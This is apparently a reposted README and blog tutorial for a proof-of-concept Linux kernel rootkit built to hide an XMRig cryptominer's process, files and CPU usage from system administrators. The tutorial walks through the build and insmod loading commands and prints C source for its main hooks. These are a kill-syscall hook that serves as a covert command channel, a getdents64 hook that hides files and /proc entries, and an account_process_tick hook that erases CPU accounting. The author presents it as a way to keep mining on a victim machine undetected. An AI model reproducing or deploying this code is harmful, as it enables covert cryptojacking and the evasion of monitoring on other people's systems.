Linux rootkit POC to hide a cryptominer's process and CPU usage.
Features
- Hide process
- Hide process CPU usage
- Hide files that his filename starts with the MAGIC_PREFIX
Rootkit installation
Build
$ git clone https://github.com/alfonmga/hiding-cryptominers-linux-rootkit
$ cd hiding-cryptominers-linux-rootkit/
$ make
Loading LKM:
$ dmesg -C # clears all messages from the kernel ring buffer
$ insmod rootkit.ko
$ dmesg # verify that rootkit has been loaded
Unloading LKM:
$ rmmod rootkit
$ dmesg # verify that rootkit has been unloaded
from https://github.com/alfonmga/hiding-cryptominers-linux-rootkit
-----
Hiding miners on Linux for profit
Leveraging Linux Loadable Kernel Modules to hide a cryptocurrency miner process and CPU usage.
For the past months, I have been digging and learning how Linux Kernel does work. And what I have learned, can be used for good or for bad. In this post I'm gonna demonstrate how a malicious actor can leverage a Linux Loadable Kernel Module to make a cryptocurrency miner invisible in the userland.
For this demonstration I'm going to use XMRig, a high performance, open source and very popular cryptominer to mine Monero coin using the CPU intensive RandomX mining algorithm.
Here's a screenshot of what happens when you run a cryptominer:
Using htop process viewer we can see that our cryptominer's process CPU usage is extremely high and it's using all available CPUs for mining. Now, if you're the system administrator of this machine, how much time would take you to detect it and kill that process? seconds, right? ;-)
To understand how we will hide the cryptominer, before we must know what happens under the hood when we execute htop
, top
or any other Linux program to monitor current system running processes.
top
program under the hood
As you probably know, if you're a Linux user, top command provides a dynamic real-time view of a running system. It allows us to know the processes running at the moment.
So, what really happens when we execute top
in our terminal? to figure it out we can use strace Linux command to intercept the system calls which are called so we can deepthly understand what top
is doing.
A system call is a programmatic way a program can request a service from the kernel space, and strace
is a powerful utility that allows us to trace the thin layer between user processes and the Linux kernel.
Let's figure out which system calls are top
program calling by using strace
:
root@vm-ubuntu2004:~# strace -c top -h
% time seconds usecs/call calls errors syscall
------ ----------- ----------- --------- --------- ----------------
40.81 0.000484 7 61 rt_sigaction
13.32 0.000158 2 68 40 openat
10.12 0.000120 40 3 write
9.78 0.000116 4 27 read
5.99 0.000071 2 30 close
4.72 0.000056 2 27 fstat
4.22 0.000050 12 4 getdents64
3.79 0.000045 22 2 rt_sigprocmask
2.28 0.000027 1 18 mprotect
2.02 0.000024 8 3 munmap
1.69 0.000020 10 2 2 mkdir
0.76 0.000009 9 1 sched_getaffinity
0.51 0.000006 6 1 getuid
0.00 0.000000 0 32 28 stat
0.00 0.000000 0 60 mmap
0.00 0.000000 0 3 brk
0.00 0.000000 0 8 pread64
0.00 0.000000 0 1 1 access
0.00 0.000000 0 1 execve
0.00 0.000000 0 2 1 arch_prctl
0.00 0.000000 0 1 futex
0.00 0.000000 0 1 set_tid_address
0.00 0.000000 0 1 set_robust_list
0.00 0.000000 0 1 prlimit64
------ ----------- ----------- --------- --------- ----------------
100.00 0.001186 358 72 total
Interesting! now we know all system calls that top
are calling and this gives us a lot information about how top
works. Let's continue to the next section, we'll know what we can do with this info later.
Hooking Linux system callsMost Linux programs does system calls to the kernel space, so if we can intercept and modify them then the Linux programs that depends on them would be affected too.
So, how can we hook Linux system calls? for this demonstration I decided to use Linux Kernel hooking engine (x86) by Ilya V. Matveychikov. There's more alternatives to do the hooks but I found this hooking engine pretty good and plus it allows us to hook generic kernel functions aside from hook kernel system calls.
Using Linux Syscall Reference (64 bit) table we can check out all available Linux system calls that we could hook into, if we would like to.
Building a Rootkit to make our cryptominer invisibleLet's get started! we are going to build a malicious Linux LKM (Loadable Kernel Module) that will hook some system calls and kernel functions to hide our miner so we can make it sure that it stays under the radar and we can mine in the victim machine for a long time!
Our rootkit will be coded using C programming language. It works on x86
architectures only and should be compatible with 2.6.33+
kernels.
Hiding miner from processes list and filesystemTo hide our mine process from processes monitoring programs, before we must know how this type of programs generates their processes list from.
So, how they do it? easy! in Linux, the /proc
directory is used to store numerical named directories representing all running processes. When a process ends, its /proc
directory disappears automatically.
Now that we know how processes are managed and by analysing top
used system calls (from strace
output above generated) we can confirm that top
is using getdents64 system call to read processes from /proc
directory.
We also want to hide our miner's executable file in the filesystem to avoid have it removed from the system. To achieve this we want to make sure that when someone executes ls command to list directory contents our miner's executable file doesn't appear.
ls
command also calls getdents64
system call, so it's great for us because all we just need is to hook one system call and add a bit of logic code to develop 2/3 of our Rootkit required features (hide from processes list and hide miner's file from filesystem).
Hiding miner CPU usageHiding miner CPU usage is critical if we want our miner to survive for a longer time.
We can hide miner CPU usage by hooking kernel function account_process_tick. By doing so we can skip the ticks for our miner's process. Our CPU usage could not be accounted for and it would be equal to zero.
kill
system call for Command and Control (C2)
Hooking How can we communicate to between our rootkit that is in kernel space and us that we are in userland? we'll need somehow to tell to the Rootkit which process ID (pid
) we want to hide.
One solution to this issue would be to hook kill system call. kill
system call is used to send any signal to any process group or process. For example, you can execute kill -9 <pid>
to send a SIGKILL
signal to a process to to cause it to terminate immediately.
The following is the prototype of kill
system call:
int kill(pid_t pid, int sig);
It takes two arguments. The first, pid
, is the process ID you want to send a signal to, and the second, sig
, is the signal you want to send.
In our kill
hook we will use unused sig
number 31
to make the target process pid
invisible and sig
number 32
to make it visible again.
Rootkit source code previewIn this section I'll show you only the most important parts of the Rootkit source code. For simplicity i'll ignore things like cross-kernel version compatibility, LKM initialization (module_init
), LKM exit (module_exit
) and Linux Kernel hooking engine (x86)
usage.
You can always view the full Rootkit source code at GitHub to understand the big picture.
kill
system call for C2:
Hooking We define in the header file PF_INVISIBLE
(invisible process flag value), SIGINVIS
(kill
signal number to make a process invisible) and SIGVIS
(kill
signal number to make a process visible):
main.h#define PF_INVISIBLE 0x10000000
enum {
SIGINVIS = 31,
SIGVIS = 32,
};
We declare functions find_task
(iterates through the list of all the processes to find provided pid
), is_invisible
(checks if a process pid
is invisible by checking if has PF_INVISIBLE
flag) and hacked_kill
(hooks original kill
system call and handles our custom signal numbers SIGINVIS
and SIGVIS
):
main.cstruct task_struct * find_task(pid_t pid)
{
struct task_struct *p = current;
for_each_process(p) {
if (p->pid == pid)
return p;
}
return NULL;
}
int is_invisible(pid_t pid)
{
struct task_struct *task;
if (!pid)
return 0;
task = find_task(pid);
if (!task)
return 0;
if (task->flags & PF_INVISIBLE)
return 1;
return 0;
}
asmlinkage int hacked_kill(pid_t pid, int sig)
{
struct task_struct *task;
switch (sig) {
case SIGINVIS:
if ((task = find_task(pid)) == NULL || is_invisible(pid) == true)
return -ESRCH;
task->flags ^= PF_INVISIBLE;
printk(KERN_INFO "rootkit: process invisible >:-)\n");
break;
case SIGVIS:
if ((task = find_task(pid)) == NULL || is_invisible(pid) == false)
return -ESRCH;
task->flags ^= PF_INVISIBLE;
printk(KERN_INFO "rootkit: process visible :-(\n");
break;
default:
return orig_kill(pid, sig);
}
return 0;
}
getdents64
system call to hide processes and files from filesystem:
Hooking In the header file we declare MAGIC_PREFIX
value that we'll use to hide all files in the filesystem that his filename starts this prefix.
main.h#define MAGIC_PREFIX "xmrig"
We declare function hacked_getdents64
to hook getdents64
system call. As you can see if a directory name, filename starts with the MAGIC_PREFIX
we skip it. If it's a process instead then we check if it's invisible by using the function is_invisible
and if it's then we skip it too:
main.casmlinkage int hacked_getdents64(unsigned int fd, struct linux_dirent64 __user *dirent, unsigned int count)
{
int ret = orig_getdents64(fd, dirent, count), err;
unsigned short proc = 0;
unsigned long off = 0;
struct linux_dirent64 *dir, *kdirent, *prev = NULL;
struct inode *d_inode;
if (ret <= 0)
return ret;
kdirent = kzalloc(ret, GFP_KERNEL);
if (kdirent == NULL)
return ret;
err = copy_from_user(kdirent, dirent, ret);
if (err)
goto out;
d_inode = current->files->fdt->fd[fd]->f_dentry->d_inode;
if (d_inode->i_ino == PROC_ROOT_INO && !MAJOR(d_inode->i_rdev))
proc = 1;
while (off < ret) {
dir = (void *)kdirent + off;
if ((!proc &&
(memcmp(MAGIC_PREFIX, dir->d_name, strlen(MAGIC_PREFIX)) == 0))
|| (proc &&
is_invisible(simple_strtoul(dir->d_name, NULL, 10)))) {
if (dir == kdirent) {
ret -= dir->d_reclen;
memmove(dir, (void *)dir + dir->d_reclen, ret);
continue;
}
prev->d_reclen += dir->d_reclen;
} else
prev = dir;
off += dir->d_reclen;
}
err = copy_to_user(dirent, kdirent, ret);
if (err)
goto out;
out:
kfree(kdirent);
return ret;
}
account_process_tick
kernel function to hide CPU usage:
Hooking We declare function khook_account_process_tick
to hook kernel function account_process_tick
and we skip the tick
for invisible processes by checking if tsk->flags
contains PF_INVISIBLE
flag value:
KHOOK(account_process_tick);
static void khook_account_process_tick(struct task_struct *tsk, int user)
{
if (tsk->flags & PF_INVISIBLE) {
return;
}
return KHOOK_ORIGIN(account_process_tick, tsk, user);
}
Final resultMiner process and CPU usage is hidden:
DemoQuick live demo showing how it works:
ThanksHuge thanks to Harvey Phillips for his series of blog posts on rootkit techniques and Ilya V. Matveychikov for his Linux Kernel hooking engine used in this demonstration.
from https://alfon.xyz/posts/hiding-cryptominers-linux
No comments:
Post a Comment